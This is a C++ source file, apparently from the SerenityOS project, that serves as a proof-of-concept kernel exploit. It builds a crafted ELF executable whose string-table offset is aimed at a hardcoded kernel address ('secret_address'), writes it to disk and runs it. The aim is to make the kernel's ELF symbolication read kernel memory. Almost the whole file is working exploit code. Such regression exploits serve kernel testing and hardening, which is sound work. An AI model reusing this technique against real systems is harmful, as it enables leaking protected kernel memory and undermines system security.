elf-symbolication-kernel-read-exploit.cpp 4.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135
  1. /*
  2. * Copyright (c) 2018-2020, the SerenityOS developers.
  3. * All rights reserved.
  4. *
  5. * Redistribution and use in source and binary forms, with or without
  6. * modification, are permitted provided that the following conditions are met:
  7. *
  8. * 1. Redistributions of source code must retain the above copyright notice, this
  9. * list of conditions and the following disclaimer.
  10. *
  11. * 2. Redistributions in binary form must reproduce the above copyright notice,
  12. * this list of conditions and the following disclaimer in the documentation
  13. * and/or other materials provided with the distribution.
  14. *
  15. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
  16. * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  17. * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  18. * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
  19. * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  20. * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
  21. * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
  22. * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
  23. * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
  24. * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  25. */
  26. #include <AK/Types.h>
  27. #include <elf.h>
  28. #include <fcntl.h>
  29. #include <stdio.h>
  30. #include <string.h>
  31. #include <unistd.h>
  32. asm("haxcode:\n"
  33. "1: jmp 1b\n"
  34. "haxcode_end:\n");
  35. extern "C" void haxcode();
  36. extern "C" void haxcode_end();
  37. #pragma GCC diagnostic ignored "-Wdeprecated-declarations"
  38. int main()
  39. {
  40. char buffer[16384];
  41. auto& header = *(Elf32_Ehdr*)buffer;
  42. header.e_ident[EI_MAG0] = ELFMAG0;
  43. header.e_ident[EI_MAG1] = ELFMAG1;
  44. header.e_ident[EI_MAG2] = ELFMAG2;
  45. header.e_ident[EI_MAG3] = ELFMAG3;
  46. header.e_ident[EI_CLASS] = ELFCLASS32;
  47. header.e_ident[EI_DATA] = ELFDATA2LSB;
  48. header.e_ident[EI_VERSION] = EV_CURRENT;
  49. header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
  50. header.e_ident[EI_ABIVERSION] = 0;
  51. header.e_type = ET_EXEC;
  52. header.e_version = EV_CURRENT;
  53. header.e_ehsize = sizeof(Elf32_Ehdr);
  54. header.e_machine = EM_386;
  55. header.e_shentsize = sizeof(Elf32_Shdr);
  56. header.e_phnum = 1;
  57. header.e_phoff = 52;
  58. header.e_phentsize = sizeof(Elf32_Phdr);
  59. auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
  60. ph[0].p_vaddr = 0x20000000;
  61. ph[0].p_type = PT_LOAD;
  62. ph[0].p_filesz = sizeof(buffer);
  63. ph[0].p_memsz = sizeof(buffer);
  64. ph[0].p_flags = PF_R | PF_X;
  65. ph[0].p_align = PAGE_SIZE;
  66. header.e_shnum = 3;
  67. header.e_shoff = 1024;
  68. u32 secret_address = 0x00184658;
  69. auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
  70. sh[0].sh_type = SHT_SYMTAB;
  71. sh[0].sh_offset = 2048;
  72. sh[0].sh_entsize = sizeof(Elf32_Sym);
  73. sh[0].sh_size = 2 * sizeof(Elf32_Sym);
  74. sh[1].sh_type = SHT_STRTAB;
  75. sh[1].sh_offset = secret_address - 0x01001000;
  76. sh[1].sh_entsize = 0;
  77. sh[1].sh_size = 1024;
  78. sh[2].sh_type = SHT_STRTAB;
  79. sh[2].sh_offset = 4096;
  80. sh[2].sh_entsize = 0;
  81. sh[2].sh_size = 1024;
  82. header.e_shstrndx = 2;
  83. auto* sym = (Elf32_Sym*)(&buffer[2048]);
  84. sym[0].st_value = 0x20002000;
  85. sym[0].st_name = 0;
  86. sym[1].st_value = 0x30000000;
  87. sym[1].st_name = 0;
  88. auto* strtab = (char*)&buffer[3072];
  89. strcpy(strtab, "sneaky!");
  90. auto* shstrtab = (char*)&buffer[4096];
  91. strcpy(shstrtab, ".strtab");
  92. auto* code = &buffer[8192];
  93. size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
  94. printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
  95. memcpy(code, (void*)haxcode, haxcode_size);
  96. header.e_entry = 0x20000000 + 8192;
  97. int fd = open("x", O_RDWR | O_CREAT, 0777);
  98. if (fd < 0) {
  99. perror("open");
  100. return 1;
  101. }
  102. int nwritten = write(fd, buffer, sizeof(buffer));
  103. if (nwritten < 0) {
  104. perror("write");
  105. return 1;
  106. }
  107. if (execl("/home/anon/x", "x", nullptr) < 0) {
  108. perror("execl");
  109. return 1;
  110. }
  111. return 0;
  112. }